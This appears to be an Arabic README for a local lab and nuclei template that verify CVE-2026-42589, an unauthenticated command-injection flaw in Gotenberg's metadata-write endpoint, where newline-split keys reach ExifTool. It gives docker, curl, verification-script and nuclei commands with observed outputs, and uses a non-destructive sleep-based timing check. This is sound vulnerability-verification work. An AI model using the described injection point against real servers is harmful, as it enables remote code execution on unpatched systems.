
POC_CVE-2026-42589
مختبر استنساخ محلي ومسودة قالب nuclei لـ CVE-2026-42589 المؤثرة على Gotenberg.
CVE-2026-42589 هي مشكلة تنفيذ تعليمات عن بعد بدون مصادقة في Gotenberg ناتجة عن حقن سطر جديد في مفتاح البيانات الوصفية في:
POST /forms/pdfengines/metadata/write
يقوم Gotenberg المتأثر بإعادة توجيه مفاتيح البيانات الوصفية التي يتحكم بها المستخدم إلى ExifTool دون رفض الأحرف التي يمكن أن تسبب مشاكل. قد يتم تقسيم مفتاح بيانات وصفية يحتوي على أسطر جديدة مفصولة ب JSON إلى وسائط ExifTool إضافية.
تم استخدام هذا المختبر للتحقق من:
gotenberg/gotenberg:8.29.1gotenberg/gotenberg:8.31.0يستخدم قالب nuclei فقط فحص توقيت غير مدمر sleep 6.
docker-compose.ymldocker-compose.latest.ymlCVE-2026-42589.yamlmanual_verify.pysample.pdfREADME.mdابدأ Gotenberg 8.29.1:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 gotenberg
تحقق من الإصدار:
curl -s http://127.0.0.1:3000/version
الفحص اليدوي للتوقيت متعدد الأجزاء:
python3 manual_verify.py http://127.0.0.1:3000
الإشارة المتوقعة للضعف:
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.xs
النتيجة الضعيفة الملاحظة:
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.300s
Internal Server Error
ابدأ Gotenberg 8.31.0:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 gotenberg
تحقق من الإصدار:
curl -s http://127.0.0.1:3000/version
قم بتشغيل نفس الفحص اليدوي للتوقيت:
python3 manual_verify.py http://127.0.0.1:3000
نتيجة الإصدار المُصحح الملاحظة:
HTTP/1.1 400 Bad Request
TOTAL_TIME=0.145s
At least one PDF engine cannot process the requested metadata, while others may have failed to convert due to different issues
تحقق من صحة القالب:
nuclei -duc -validate -t CVE-2026-42589.yaml
تشغيل ضد الهدف الضعيف:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
السلوك المتوقع:
8.29.1: تطابق بعد الاستجابة 500 المتأخرة8.31.0: لا تطابقالنتيجة الضعيفة الملاحظة:
[CVE-2026-42589] [http] [critical] http://127.0.0.1:3000/forms/pdfengines/metadata/write
[INF] Scan completed in 6.245907708s. 1 matches found.
نتيجة الإصدار المُصحح الملاحظة:
[INF] Scan completed in 93.01425ms. No results found.